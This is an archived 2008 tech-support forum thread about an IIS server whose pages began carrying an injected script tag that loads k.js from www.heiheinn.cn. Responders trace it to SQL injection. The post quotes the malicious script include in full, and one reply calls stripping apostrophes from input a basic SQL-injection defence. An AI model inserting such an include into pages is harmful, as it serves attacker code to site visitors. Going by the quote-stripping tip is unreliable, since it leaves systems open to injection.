Solved

Evil script tags appearing in HTML code from IIS box (www.heiheinn.cn)

Posted on 2008-06-18
4
543 Views
Last Modified: 2012-06-27
Hi chaps,

We've been asked to look at an IIS server which has recently started rendering web pages with "script src = http://www.heiheinn.cn/k.js >< / script " inserted in to the A tags. This results in people being bombarded with a series of popups when they visit the pages being displayed.

The server itself is fairly well secured, with only port 80 and 443 and 21 open to the web and is behind a VPN to which only a few people have access. There's no sign of anything in the ftp logs.

My recommendation so far is to blow the box away and restore from backups. My concern though was heightened when I searched on google for the website of the evil JS code (www.heiheinn.cn) and found loads other links featuring that site but no pages about the problem itself. There's also the risk of restoring from backups only to find that the issue occurred before people noticed and the backups themselves are 'infected'.

The IIS box is a windows 2003 standard machine running MySQL and MS SQL 2005. Until very recently the client was doing plain dumb stuff like setting each site to the use the SA account of MS SQL with a really slack password, so I'm not entirely surprised that someone may have leveraged a way in to IIS and screwed up the links.

Anyone seen this before? I'd like to know more about it before I simply say that we burn the server at sunset, particularly if there is a risk of it coming back (which I'm assuming there is).

Olly

0
Comment
Question by:stonneway
  • 2
  • 2
4 Comments
 
LVL 7

Accepted Solution

by:
alexpercsi earned 250 total points
ID: 21817808
Most likely this site has fallen victim to an SQL Injection attack. The malicious code probably found its way into the database of the site and is served from there. Look at the database content and see if you can find the script (or part of the script) in the tables. If you can determine the time it was added to the database and have regular backups, consider reverting to a version from before the infestation of the database.

Let me know if this helps. There might be other posibilities as well.

Best Regards,
Alex.

P.S. one basic step in preventing SQL injection attacks is to remove all ' characters from user input.
0
 
LVL 1

Author Comment

by:stonneway
ID: 21820325
Thanks Alex,

I'd come to a similar conclusion last night after finding some references to that domain name on a security site article about SQL injection. As usual, trying to explain to the web company in question that their coder should have parsed the user input hasn't gone down well :)

Thanks
Olly
0
 
LVL 7

Expert Comment

by:alexpercsi
ID: 21823958
Then I assume that proposing to secure the site from cross site scripting attacks is out of the question :)
0
 
LVL 1

Author Comment

by:stonneway
ID: 21829332
Well, it seems that this was the cause;

http://www.modsecurity.org/blog/archives/2008/01/sql_injection_a.html

The coders have accepted that they need to include basic SQL parsing and better security on their back end.

Thanks chaps.

Olly
0

Featured Post

PRTG Network Monitor: Intuitive Network Monitoring

Network Monitoring is essential to ensure that computer systems and network devices are running. Use PRTG to monitor LANs, servers, websites, applications and devices, bandwidth, virtual environments, remote systems, IoT, and many more. PRTG is easy to set up & use.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Suggested Solutions

Title # Comments Views Activity
app pool not starting Exchange 2010 12 40
Outlook Anywhere is not working. 2 39
Configure WPAD via DNS 3 68
Mac users not seeing updated files on web site 3 14
Logparser is the smartest tool I have ever used in parsing IIS log files and there are many interesting things I wanted to share with everyone one of the  real-world  scenario from my current project. Let's get started with  scenario - How do w…
Lync server 2013 or Skype for business Backup Service Error ID 4049 – After File Share Migration
Internet Business Fax to Email Made Easy - With  eFax Corporate (http://www.enterprise.efax.com), you'll receive a dedicated online fax number, which is used the same way as a typical analog fax number. You'll receive secure faxes in your email, f…
With the power of JIRA, there's an unlimited number of ways you can customize it, use it and benefit from it. With that in mind, there's bound to be things that I wasn't able to cover in this course. With this summary we'll look at some places to go…

863 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

25 Experts available now in Live!

Get 1:1 Help Now